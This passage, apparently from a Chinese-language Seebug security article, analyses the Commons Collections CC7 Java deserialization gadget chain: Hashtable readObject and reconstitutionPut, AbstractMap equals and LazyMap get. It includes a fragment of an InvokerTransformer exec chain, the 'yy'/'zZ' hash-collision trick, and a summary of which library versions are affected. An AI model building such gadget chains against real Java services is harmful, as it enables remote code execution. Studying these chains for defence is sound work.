                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
    }
}

在cc1中是通過AnnotationInvocationHandler#invoke來觸發對惡意代理handler調用其invoke方法從而觸發LazyMap#get方法。

而cc7中更加的直接,通過AbstractMap#equals來觸發對LazyMap#get方法的調用:

-w744

如果這里的m是我們可控的,那么我們設置m為LazyMap,即可完成后面的rce觸發。

先尋找調用equals方法的點,cc7中使用了HashTable#reconstitutionPut:

-w655

這里的key如果是我們可控的,那么m就是我們可控的,接著在HashTable#readObject中調用了reconstitutionPut方法,并將key傳遞進去:

-w615

fine,鏈已經分析完了,接下來就是看如何對參數進行控制的問題了。

在readObject方法中傳遞進去的key,是使用readObject得到的,那么在writeObject處,也必然會有:

-w755

很明顯了,這里傳遞的實際上就是HashTable#put時添加進去的key和value。

POC:

這里繼續解釋一下幾個細節點:

  • 為什么要調用兩次put?

在第一次調用reconstitutionPut時,會把key和value注冊進table中:

-w684

-w847

此時由于tab[index]里并沒有內容,所以并不會走進這個for循環內,而是給將key和value注冊進tab中。在第二次調用reconstitutionPut時,tab中才有內容,我們才有機會進入到這個for循環中,從而調用equals方法。這也是為什么要調用兩次put的原因。

2.為什么調用的兩次put其中map中key的值分別為yy和zZ?

-w637

圖中箭頭指向的地方,這里的index要求兩次都一樣,否則無法獲取到上一次的結果,再看看index是哪里來的:

-w548

這里index的計算方式關鍵是hash,而hash是通過key.hashCode得來的,在java中有一個小bug:

"yy".hashCode() == "zZ".hashCode()

正是這個小bug讓這里能夠利用,所以這里我們需要將map中put的值設置為yy和zZ,使兩次計算的index都一樣,才能夠進入到for循環中。

  • 為什么在調用完HashTable#put之后,還需要在map2中remove掉yy?

這是因為HashTable#put實際上也會調用到equals方法:

-w931

當調用完equals方法后,map2的key中就會增加一個yy鍵,而這個鍵的值為UNIXProcess這個類的實例:

-w464

這個實例并沒有繼承Serializable,所以是無法被序列化存進去的,如果我們不進行remove,則會報出這樣一個錯誤:

-w799

所以我們需要將這個yy鍵-值給移除掉,從這里也能明白,實際上我們在反序列化前已經成功的執行了一次命令。但是為了反序列化時可以成功執行命令,就需要把這個鍵給移除掉。

總結

在分析完cc所有的鏈(在官方倉庫內的)后,可以得出如下結論,cc的鏈大抵分為三段:

  • readObject觸發
  • 調用transform方法
  • 觸發后續鏈達到rce的目的

版本相關

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化鏈。

  • 2、4是Commons Collections 4.0以上中存在的反序列化鏈。

  • 同時還對JDK的版本有要求,我使用的測試版本為1.7和1.8。

感謝

這是我初次接觸反序列化,在復現學習的時候也遇到了很多坑...感謝以下的人對我提供的幫助:Lucifaer、sn00py、Passerby...

當然還學習了網上很多的文章,但是由于數量太多了...我就不放了。。本篇文章相當于在巨人的肩膀上寫出來的,在這里統一感謝各位前輩的文章,如果這篇文章有什么錯誤的地方,歡迎指出來,我會對其進行修改。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1242/